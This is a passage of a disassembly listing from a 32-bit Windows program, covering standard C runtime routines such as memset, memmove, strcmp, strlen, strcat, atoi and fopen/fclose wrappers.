		jnz	short loc_4153B3


loc_4153B9:				; CODE XREF: sub_415390+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4153D7
		rep stosd
		test	edx, edx
		jz	short loc_4153DD


loc_4153D7:				; CODE XREF: sub_415390+18j
					; sub_415390+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4153D7


loc_4153DD:				; CODE XREF: sub_415390+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4153E3:				; CODE XREF: sub_415390+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153F0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_415410
		cmp	edi, eax
		jb	loc_415588


loc_415410:				; CODE XREF: sub_4153F0+16j
		test	edi, 3
		jnz	short loc_41542C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------


loc_41542C:				; CODE XREF: sub_4153F0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415444
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41544C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415444:				; CODE XREF: sub_4153F0+46j
		jmp	dword ptr loc_415548[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41544C:				; CODE XREF: sub_4153F0+31j
					; sub_4153F0+8Ej ...
		jmp	off_4154CC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415460
		dd offset loc_41548C
		dd offset loc_4154B0
; ---------------------------------------------------------------------------


loc_415460:				; DATA XREF: sub_4153F0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41548C:				; DATA XREF: sub_4153F0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4154B0:				; DATA XREF: sub_4153F0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41544C
		rep movsd
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4154CC	dd offset loc_41552F	; DATA XREF: sub_4153F0:loc_41544Cr
		dd offset loc_41551C
		dd offset loc_415514
		dd offset loc_41550C
		dd offset loc_415504
		dd offset loc_4154FC
		dd offset loc_4154F4
		dd offset loc_4154EC
; ---------------------------------------------------------------------------


loc_4154EC:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4154F4:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4154FC:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_415504:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41550C:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_415514:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41551C:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41552F:				; CODE XREF: sub_4153F0:loc_41544Cj
					; DATA XREF: sub_4153F0:off_4154CCo
		jmp	off_415538[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415538	dd offset loc_415548	; DATA XREF: sub_4153F0+35r
					; sub_4153F0+92r ...
		dd offset loc_415550
		dd offset loc_41555C
		dd offset loc_415570
; ---------------------------------------------------------------------------


loc_415548:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415550:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41555C:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415570:				; CODE XREF: sub_4153F0+35j
					; sub_4153F0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415588:				; CODE XREF: sub_4153F0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4155BC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4155B0:				; CODE XREF: sub_4153F0+1B1j
					; sub_4153F0+208j ...
		neg	ecx
		jmp	off_415680[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4155BC:				; CODE XREF: sub_4153F0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4155D4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4155D4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4155D4:				; CODE XREF: sub_4153F0+1D6j
					; DATA XREF: sub_4153F0+1DDr
		jmp	off_4156D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4155E7+1
; ---------------------------------------------------------------------------
		or	[esi+41h], dl
		add	[eax], dh
		push	esi
		inc	ecx


loc_4155E7:				; DATA XREF: sub_4153F0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4155B0
		std
		rep movsd
		cld
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415684
		dd offset loc_41568C
		dd offset loc_415694
		dd offset loc_41569C
		dd offset loc_4156A4
		dd offset loc_4156AC
		dd offset loc_4156B4
off_415680	dd offset loc_4156C7	; DATA XREF: sub_4153F0+1C2r
; ---------------------------------------------------------------------------


loc_415684:				; DATA XREF: sub_4153F0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41568C:				; DATA XREF: sub_4153F0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415694:				; DATA XREF: sub_4153F0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41569C:				; DATA XREF: sub_4153F0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4156A4:				; DATA XREF: sub_4153F0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4156AC:				; DATA XREF: sub_4153F0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4156B4:				; DATA XREF: sub_4153F0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4156C7:				; CODE XREF: sub_4153F0+1C2j
					; DATA XREF: sub_4153F0:off_415680o
		jmp	off_4156D0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4156D0	dd offset loc_4156E0	; DATA XREF: sub_4153F0+1B7r
					; sub_4153F0:loc_4155D4r ...
		dd offset loc_4156E8
		dd offset loc_4156F8
		dd offset loc_41570C
; ---------------------------------------------------------------------------


loc_4156E0:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156E8:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4156F8:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41570C:				; CODE XREF: sub_4153F0+1B7j
					; sub_4153F0:loc_4155D4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41577C


loc_415740:				; CODE XREF: sub_415730+3Cj
					; sub_415730+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+1]
		jnz	short loc_415774
		or	ah, ah
		jz	short loc_415770
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+3]
		jnz	short loc_415774
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415740
		mov	edi, edi


loc_415770:				; CODE XREF: sub_415730+18j
					; sub_415730+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415774:				; CODE XREF: sub_415730+14j
					; sub_415730+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41577C:				; CODE XREF: sub_415730+Ej
		test	edx, 1
		jz	short loc_415798
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415774
		inc	ecx
		or	al, al
		jz	short loc_415770
		test	edx, 2
		jz	short loc_415740


loc_415798:				; CODE XREF: sub_415730+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415774
		or	al, al
		jz	short loc_415770
		cmp	ah, [ecx+1]
		jnz	short loc_415774
		or	ah, ah
		jz	short loc_415770
		add	ecx, 2
		jmp	short loc_415740
sub_415730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4157C0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CB+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4157D9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4157D9:				; CODE XREF: sub_4157C0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4157C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157F4	proc near		; CODE XREF: sub_41587F+4p
					; sub_41EA02+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4157FC:				; CODE XREF: sub_4157F4+34j
		cmp	dword_43812C, 1
		jle	short loc_415814
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_415823
; ---------------------------------------------------------------------------


loc_415814:				; CODE XREF: sub_4157F4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_437F20
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_415823:				; CODE XREF: sub_4157F4+1Ej
		test	eax, eax
		jz	short loc_41582A
		inc	edi
		jmp	short loc_4157FC
; ---------------------------------------------------------------------------


loc_41582A:				; CODE XREF: sub_4157F4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41583A
		cmp	esi, 2Bh
		jnz	short loc_41583E


loc_41583A:				; CODE XREF: sub_4157F4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41583E:				; CODE XREF: sub_4157F4+44j
		xor	ebx, ebx


loc_415840:				; CODE XREF: sub_4157F4+7Bj
		cmp	dword_43812C, 1
		jle	short loc_415855
		push	4
		push	esi
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_415860
; ---------------------------------------------------------------------------


loc_415855:				; CODE XREF: sub_4157F4+53j
		mov	eax, off_437F20
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415860:				; CODE XREF: sub_4157F4+5Fj
		test	eax, eax
		jz	short loc_415871
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415840
; ---------------------------------------------------------------------------


loc_415871:				; CODE XREF: sub_4157F4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41587A
		neg	eax


loc_41587A:				; CODE XREF: sub_4157F4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4157F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41587F	proc near		; CODE XREF: sub_4013E8+12p
					; sub_4013E8+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4157F4
		pop	ecx
		retn
sub_41587F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41588A	proc near		; CODE XREF: sub_401444+3A1p
					; sub_401BD4+4F5p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D6C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4158C9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4158D6
; ---------------------------------------------------------------------------


loc_4158C9:				; CODE XREF: sub_41588A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_4158D6:				; CODE XREF: sub_41588A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41588A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158E0	proc near		; CODE XREF: sub_401BD4+2C3p
					; sub_401BD4+2E3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41595A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415947


loc_4158F8:				; CODE XREF: sub_4158E0+52j
					; sub_4158E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41591A
		test	al, al
		jz	short loc_415914


loc_415909:				; CODE XREF: sub_4158E0+32j
		mov	al, [esi]
		inc	esi


loc_41590C:				; CODE XREF: sub_4158E0+3Fj
		cmp	al, dl
		jz	short loc_41591A
		test	al, al
		jnz	short loc_415909


loc_415914:				; CODE XREF: sub_4158E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41591A:				; CODE XREF: sub_4158E0+23j
					; sub_4158E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41590C
		lea	edi, [esi-1]


loc_415924:				; CODE XREF: sub_4158E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415953
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_4158F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415953
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415924
		jmp	short loc_4158F8
; ---------------------------------------------------------------------------


loc_415947:				; CODE XREF: sub_4158E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_416F26
; ---------------------------------------------------------------------------


loc_415953:				; CODE XREF: sub_4158E0+49j
					; sub_4158E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41595A:				; CODE XREF: sub_4158E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_4158E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415960	proc near		; CODE XREF: sub_40211C+92p
					; sub_4059FC+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415975
		or	eax, 0FFFFFFFFh
		jmp	short loc_4159AF
; ---------------------------------------------------------------------------


loc_415975:				; CODE XREF: sub_415960+Ej
		test	al, 83h
		jz	short loc_4159AD
		push	esi
		call	sub_418704
		push	esi
		mov	edi, eax
		call	sub_41869E
		push	dword ptr [esi+10h]
		call	sub_4185EB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41599B
		or	edi, 0FFFFFFFFh
		jmp	short loc_4159AD
; ---------------------------------------------------------------------------


loc_41599B:				; CODE XREF: sub_415960+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4159AD
		push	eax
		call	sub_415C9B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4159AD:				; CODE XREF: sub_415960+17j
					; sub_415960+39j ...
		mov	eax, edi


loc_4159AF:				; CODE XREF: sub_415960+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415960	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4159B6	proc near		; CODE XREF: sub_40211C+8Cp
					; sub_40CD3A+2945p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187D6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D6C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418863
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4159B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159E8	proc near		; CODE XREF: sub_415A08+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_418A10
		test	eax, eax
		jnz	short loc_4159F2
		retn
; ---------------------------------------------------------------------------


loc_4159F2:				; CODE XREF: sub_4159E8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4188A0
		add	esp, 10h
		retn
sub_4159E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A08	proc near		; CODE XREF: sub_40211C+54p
					; sub_4059FC+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4159E8
		add	esp, 0Ch
		retn
sub_415A08	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A20	proc near		; CODE XREF: sub_405A96+2AEp
					; sub_4098D4+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415A91
sub_415A20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40211C+32p
					; sub_40211C+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415A4C


loc_415A3D:				; CODE XREF: sub_415A30+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415A7F
		test	ecx, 3
		jnz	short loc_415A3D


loc_415A4C:				; CODE XREF: sub_415A30+Bj
					; sub_415A30+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415A4C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415A8E
		test	ah, ah
		jz	short loc_415A89
		test	eax, 0FF0000h
		jz	short loc_415A84
		test	eax, 0FF000000h
		jz	short loc_415A7F
		jmp	short loc_415A4C
; ---------------------------------------------------------------------------


loc_415A7F:				; CODE XREF: sub_415A30+12j
					; sub_415A30+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A84:				; CODE XREF: sub_415A30+44j
		lea	edi, [ecx-2]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A30+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415A91
; ---------------------------------------------------------------------------


loc_415A8E:				; CODE XREF: sub_415A30+39j
		lea	edi, [ecx-4]


loc_415A91:				; CODE XREF: sub_415A20+5j
					; sub_415A30+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415AB6


loc_415A9D:				; CODE XREF: sub_415A30+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415B08
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415A9D
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------


loc_415AB1:				; CODE XREF: sub_415A30+9Ej
					; sub_415A30+B8j
		mov	[edi], edx
		add	edi, 4


loc_415AB6:				; CODE XREF: sub_415A30+6Bj
					; sub_415A30+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415AB1
		test	dl, dl
		jz	short loc_415B08
		test	dh, dh
		jz	short loc_415AFF
		test	edx, 0FF0000h
		jz	short loc_415AF2
		test	edx, 0FF000000h
		jz	short loc_415AEA
		jmp	short loc_415AB1
; ---------------------------------------------------------------------------


loc_415AEA:				; CODE XREF: sub_415A30+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415AF2:				; CODE XREF: sub_415A30+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415A30+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B08:				; CODE XREF: sub_415A30+72j
					; sub_415A30+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B10	proc near		; CODE XREF: sub_4021FB+19Cp
					; sub_4021FB+1F0p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415B30


loc_415B1C:				; CODE XREF: sub_415B10+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415B63
		test	ecx, 3
		jnz	short loc_415B1C
		add	eax, 0


loc_415B30:				; CODE XREF: sub_415B10+Aj
					; sub_415B10+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415B30
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415B81
		test	ah, ah
		jz	short loc_415B77
		test	eax, 0FF0000h
		jz	short loc_415B6D
		test	eax, 0FF000000h
		jz	short loc_415B63
		jmp	short loc_415B30
; ---------------------------------------------------------------------------


loc_415B63:				; CODE XREF: sub_415B10+11j
					; sub_415B10+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B6D:				; CODE XREF: sub_415B10+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B77:				; CODE XREF: sub_415B10+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415B81:				; CODE XREF: sub_415B10+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415B90	proc near		; CODE XREF: sub_4024D0+8p
					; sub_40297A+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415BB0


loc_415B9C:				; CODE XREF: sub_415B90+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415B9C


loc_415BB0:				; CODE XREF: sub_415B90+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BBF	proc near		; CODE XREF: sub_402FCD+7Ap
					; sub_402FCD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
